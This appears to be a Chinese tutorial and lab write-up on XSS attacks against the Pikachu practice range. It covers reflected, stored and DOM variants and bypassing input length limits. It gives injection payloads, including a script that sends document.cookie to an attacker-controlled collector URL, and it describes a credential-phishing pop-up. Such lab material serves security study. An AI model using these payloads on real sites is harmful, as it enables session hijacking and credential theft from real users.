颓废了几天，该好好努力了。
XSS概述
XSS漏洞是web漏洞中危害较大的漏洞，是一种发生在web前端的漏洞，所以危害的对象也主要是前端用户，XSS可以用来进行钓鱼攻击，前端js挖矿，获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。
XSS漏洞的常见类型
1.反射型，交互的数据一般不会存在在数据库里面，一次性，所见即所得，一般出现在查询类页面等。
2.存储型交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面。
3.DOM型不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型。
XSS漏洞形成的原因
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格，导致”精心构造”的脚本输入后，再输到前端时被浏览器当作有效代码解析执行从而产生危害
XSS漏洞测试流程
1， 在目标站点上找到输入点，比如查询接口，留言板等
2， 输入一组“特殊字符+唯一识别字符”，点击提交后，查看返回的源码，是否有做对应的处理
3， 通过搜索定位到唯一字符，结合唯一字符前后的语法确认是否可以构造执行js的条件（构造闭合）
4， 提交构造的脚本代码，看是否可以成功执行，如果成功执行则说明纯在XSS漏洞
Tips：
- 一般查询接口容易出现反射型XSS，留言板容易出现存储型XSS
- 由于后台可能存在过滤措施，构造的script可能会被过滤掉，而无法生效，或者环境限制了执行（浏览器）；
- 通过变化不同的script，尝试绕过后台过滤机制
下面开始靶场的练习
反射型XSS(get)
按照我们的测试流程，先输入一些可能会被过滤的字符和唯一字符
我们查看一下源代码
通过查找发现我们的唯一字符
发现没有任何的过滤，那么我们就可以构造一个xss的弹窗(不仅限于弹窗，这里只是做演示)
<script>alert('xss')</script>
发现前端限制了我们的输入长度
我们可以在开发者工具中进行修改
这样我们就可以插入我们的payload了
存储型XSS
一般都是在留言板内，把内容保存在数据库，这样每次访问这个页面就会触发xss
这个不多说，和反射型就这个区别
DOM型XSS
定义一个str来接收id为text的值
然后再把str写进a标签里面给了id为dom的div
这样我们可以构造把a标签添加属性的xss
' onclick = "alert('xss')">
给a标签一个单击的属性，里面写入xss代码
dom型xss-x
其实也是一样的
window.location.search获取url?后面的部分
然后进行url解码
获取text后面的内容
然后再发送给让往事都随风吧
' onclick = "alert('xss')">
当我们点击这句话的时候也一样会触发我们的xss代码
get型XSS获取cookie
pikachu有自带的XSS测试平台
配置登陆以后
进入cookie收集
目前当我们还没有进行测试的时候，是为空的，
当我们构造一个xss代码
<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
跳转到我们接收cookie的页面，并且把cookie带入，构成一个完整的get请求
查看cookie.php文件，
这里改成你想要跳转的页面，伪造出你这个页面没问题
之后我们就可以把构造好的页面发送给别人
让别人点击以后查看效果
反射型xss(post)
我个人的理解是，在被攻击的用户打开某个存在xss漏洞的页面的时候，在已经登陆的状态下又点开了攻击者发来的链接，链接给存在xss漏洞的页面提交了post请求，JS获取到了cookie然后返回到攻击者的接口
首先先看靶场
通过提示我们知道账号密码是admin/123456
XSS钓鱼攻击(存储型XSS)
当打开我们带有钓鱼xss的网页时，会弹出一个进行身份验证的窗口，让你输入账号密码，账号密码就会发往我们的XSS后台